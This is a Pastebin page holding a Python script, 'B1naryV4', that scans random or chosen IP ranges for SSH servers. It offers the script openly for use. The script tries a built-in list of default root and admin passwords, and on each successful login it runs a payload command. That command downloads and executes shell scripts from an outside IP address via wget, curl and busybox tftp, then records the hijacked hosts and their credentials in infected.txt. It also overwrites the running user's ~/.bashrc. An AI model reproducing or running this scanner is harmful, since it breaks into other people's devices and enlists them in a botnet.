Advertisement
ThaRealUDP

B1naryV4 Telnet Scanner (Public Release Refreshed)

Oct 18th, 2016
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.32 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #MUST INSTALL PARAMIKO
  4. #yum install python-paramiko -y
  5. """
  6. Usage: python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]
  7. Skype: b1narythag0d
  8. XMPP: b1nary@darkness.su
  9. Made Date: 7-2-16
  10. """
  11. """
  12.  
  13. # ___ __________ ____ _______ _____ _______________.___. ___
  14. # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
  15. # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
  16. # | | \ | / | \/ | \ | \\____ |
  17. # |______ / |___\____|__ /\____|__ /____|_ // ______|
  18. # \/ \/ \/ \/ \/
  19. ***B1NARY V4***
  20. """
  21. import threading, paramiko, random, socket, time, sys, os
  22. usage='python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]'
  23. if len(sys.argv) < 4:
  24. sys.exit(usage)
  25. os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")
  26. os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
  27. paramiko.util.log_to_file("/dev/null")
  28. os.system("sysctl -w fs.file-max=999999 >/dev/null")
  29.  
  30. """
  31. ��������_ _�������� _�������� _� ���____ _�������� _��������
  32. ��� ���� ��� ��� ��� ��� ��� ��������_ ��� ��� ��� ���
  33. ��� ��� ��� �� ��� �� ���� ��� ��� ��� �� ��� ��
  34. ��� ��� _���___ _���___ ���� ��� ��� _���___ ���
  35. ��� ��� �������� �������� ���� ��� ��� �������� ������������
  36. ��� ��� ��� �_ ��� ��� ��� ��� ��� �_ ���
  37. ��� _��� ��� ��� ��� ��� ��� ��� ��� ��� _� ���
  38. ��������� ���������� ��� �� �� �� ���������� _���������
  39. """
  40. cmd='cd /tmp; wget http://198.98.124.142/gtop.sh || curl -O http://198.98.124.142/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; busybox tftp 198.98.124.142 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 198.98.124.142; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf gtop.sh tftp1.sh tftp2.sh' #PAYLOAD
  41. blacklist = [
  42. '127'
  43. ]
  44. passwords = [
  45. "root:root",
  46. "root:toor",
  47. "root:admin",
  48. "root:1234",
  49. "root:maxided",
  50. "root:pi",
  51. "root:alpine",
  52. "root:r00tnull3d",
  53. "root:r00tnull3d#",
  54. "root:rootnull3d#",
  55. "root:password",
  56. "root:centos6svm",
  57. "root:1234",
  58. "root:123456",
  59. "root:Love2020",
  60. "root:Zero",
  61. "root:Password",
  62. "root:password",
  63. "root:qwerty",
  64. "root:dragon",
  65. "root:pussy",
  66. "root:baseball",
  67. "root:football",
  68. "root:monkey",
  69. "root:696969",
  70. "root:abc123"
  71. "admin:admin",
  72. "admin:1234",
  73. "admin:Guest",
  74. "ubnt:ubnt",
  75. "guest:guest",
  76. "user:user",
  77. "test:test",
  78. "pi:raspberry",
  79. "vagrant:vagrant",
  80. "localhost:root",
  81. "B1NARY:B1NARY",
  82. "tim:tim",
  83. "CISCO:CISCO",
  84. "netgear"
  85. "support:support",
  86. "oracle:oracle",
  87. "cusadmin:password",
  88. ]
  89.  
  90. """
  91. _� _�������_ _�������� _�������� _������_ ���____ _�������� _��������
  92. ��� ��� ��� ��� ��� ��� ��� ��� ��� ��������_ ��� ��� ��� ���
  93. ���� ��� ��� ��� ��� ��� ��� ��� �� ��� ��� ��� �� ��� ��
  94. ���� ��� ��� _���____��� ��� ��� _��� ��� ��� _���___ ���
  95. ���� ����������� ���������� ������������ ����� ����_ ��� ��� �������� ������������
  96. ��� ��� ������������ ��� ��� ��� ��� ��� ��� ��� �_ ���
  97. ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� _� ���
  98. �� _����� ��� ��� ��� �� ��������� �� �� ���������� _���������
  99. ��� ���
  100. """
  101. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  102. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  103. lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  104. lucky2 = ["119.91","119.92","119.93","113.53"]
  105. lol = ["1","2","5","119","180","113","125","122","46","101",""]
  106. load = ["125.25","125.26","125.27","119.92","119.93","180.180","113.53","185.52","122.52","122.53"]
  107. god = ["122.52","122.53","119.92","119.93"]
  108.  
  109. """
  110. _�������_ _�������� _�������� _�������� _�������� _������_ ____���____ ����������_ _������_ _��������
  111. ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� _�������������_ ��� ��� ��� ��� ��� ���
  112. ��� ��� ��� ��� ��� �� ��� �� ��� �� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��
  113. ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� _���___��� ��� ��� ���
  114. ����������� ������������ ������������ ������������ ��� ��� ��� ��� ��� ��� ����������_ ��� ��� ������������
  115. ��� ��� ��� ��� ��� ��� �_ ��� ��� ��� ��� ��� ��� ��_ ��� ��� ���
  116. ��� ��� ��� _� ��� _� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� _� ���
  117. _����� ��� �� _��������� _��������� ��������� �������� �� ��� �� _���������� �������� _���������
  118. """
  119.  
  120. if sys.argv[4] == '1':
  121. passwords = ["root:root", "root:admin", "admin:1234"]
  122. if sys.argv[4] == '2':
  123. passwords = ["root:root", "root:toor", "root:admin", "admin:1234", "oracle:oracle", "root:alpine"]
  124. if sys.argv[4] == 'routers':
  125. passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password"]
  126. if sys.argv[4] == 'perl':
  127. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  128. if sys.argv[4] == 'ubuntu':
  129. passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ]
  130. if sys.argv[4] == 'root':
  131. passwords = [ "root:root","root:test" ]
  132. if sys.argv[4] == 'vps1':
  133. passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Love2020", "root:Zero", "root:Password", "root:password"]
  134. if sys.argv[4] == 'vps2':
  135. passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
  136. if sys.argv[4] == 'vps3':
  137. passwords = [ "root:maxided", "root:centos6svm", "root:football", "root:monkey", "root:696969", "root:abc123"]
  138. if sys.argv[4] == 'r00ted':
  139. passwords = [ "localhost:root", "B1NARY:B1NARY", "root:r00tnull3d#", "root:Flunzy2016", "bash:root"]
  140. if sys.argv[4] == 'brute':
  141. passwords = [ "root:centos6svm", "root:root", "root:toor", "root:abc123", "root:maxided"]
  142. if sys.argv[4] == 'lol':
  143. passwords = [ "admin:1234"]
  144.  
  145. """
  146. _� _�������_ _�������� _� _�������� _�������� _�������� _�������� _��������
  147. ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ���
  148. ���� ��� ��� ��� �� ��� ��� ��� ��� �� ��� �� ��� �� ��� ��
  149. ���� ��� ��� ��� ��� ��� ��� ��� ��� _���___ ���
  150. ���� ����������� ��� ��� ������������ ������������ ������������ �������� ������������
  151. ��� ��� ��� �_ ��� ��� ��� ��� ��� ��� �_ ���
  152. ��� ��� ��� ��� ���� _ ��� ��� _� ��� _� ��� ��� ��� _� ���
  153. �� _����� ��������� �����__�� ��� �� _��������� _��������� ���������� _���������
  154. """
  155. ipclassinfo = sys.argv[2]
  156. if ipclassinfo == "A":
  157. ip1 = sys.argv[3]
  158. elif ipclassinfo == "B":
  159. ip1 = sys.argv[3].split(".")[0]
  160. ip2 = sys.argv[3].split(".")[1]
  161. elif ipclassinfo == "C":
  162. ips = sys.argv[3].split(".")
  163. num=0
  164. for ip in ips:
  165. num=num+1
  166. if num == 1:
  167. ip1 = ip
  168. elif num == 2:
  169. ip2 = ip
  170. elif num == 3:
  171. ip3 = ip
  172. """
  173. _�������� _�������� _� �_ _�������� _�������� _�������� ���____ ���____ _�������� _��������
  174. ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��������_ ��������_ ��� ��� ��� ���
  175. ��� �� ��� �� ��� ��� ��� �� ��� �� ��� ��� ��� ��� ��� ��� ��� �� ��� ���
  176. ��� ��� _���____���__ ��� ��� ��� ��� ��� ��� ��� ��� _���___ _���____���
  177. ������������ ������������ ������������� ������������ ��� ������������ ��� ��� ��� ��� �������� ����������
  178. ��� ��� ��� ��� ��� ��� �_ ��� ��� ��� ��� ��� ��� ��� �_ ������������
  179. _� ��� _� ��� ��� ��� _� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ��� ���
  180. _��������� _��������� ��� �� _��������� ��������� ��� �� �� �� �� �� ���������� ��� ���
  181. ��� ���
  182. """
  183. class sshscanner(threading.Thread):
  184. global passwords
  185. global ipclassinfo
  186. if ipclassinfo == "A":
  187. global ip1
  188. elif ipclassinfo == "B":
  189. global ip1
  190. global ip2
  191. elif ipclassinfo == "C":
  192. global ip1
  193. global ip2
  194. global ip3
  195. def run(self):
  196. while 1:
  197. try:
  198. while 1:
  199. thisipisbad='no'
  200. if ipclassinfo == "A":
  201. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  202. elif ipclassinfo == "B":
  203. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  204. elif ipclassinfo == "C":
  205. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  206. elif ipclassinfo == "BRAZIL":
  207. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  208. elif ipclassinfo == "SUPER":
  209. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  210. elif ipclassinfo == "LUCKY":
  211. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  212. elif ipclassinfo == "LUCKY2":
  213. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  214. elif ipclassinfo == "RAND":
  215. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  216. elif ipclassinfo == "INTERNET":
  217. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  218. elif ipclassinfo == "LOAD":
  219. self.host = random.choice(load)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  220. elif ipclassinfo == "GOD":
  221. self.host = random.choice(god)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  222. else:
  223. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  224. for badip in blacklist:
  225. if badip in self.host:
  226. thisipisbad='yes'
  227. if thisipisbad=='no':
  228. break
  229. username='root'
  230. password=""
  231. port = 22
  232. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  233. s.settimeout(3)
  234. s.connect((self.host, port))
  235. s.close()
  236. ssh = paramiko.SSHClient()
  237. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  238. dobreak=False
  239. for passwd in passwords:
  240. if ":n/a" in passwd:
  241. password=""
  242. else:
  243. password=passwd.split(":")[1]
  244. if "n/a:" in passwd:
  245. username=""
  246. else:
  247. username=passwd.split(":")[0]
  248. try:
  249. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  250. dobreak=True
  251. break
  252. except:
  253. pass
  254. if True == dobreak:
  255. break
  256. badserver=True
  257. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  258. output = stdout.read()
  259. if "inet addr" in output:
  260. badserver=False
  261. if badserver == False:
  262. print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  263. ssh.exec_command(""+cmd+"")
  264. time.sleep(20)
  265. ssh.close()
  266. open("infected.txt","a").write(username+":"+password+":"+self.host+"\n")
  267. except:
  268. pass
  269.  
  270. for x in range(0,int(sys.argv[1])):
  271. try:
  272. t = sshscanner()
  273. t.start()
  274. except:
  275. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement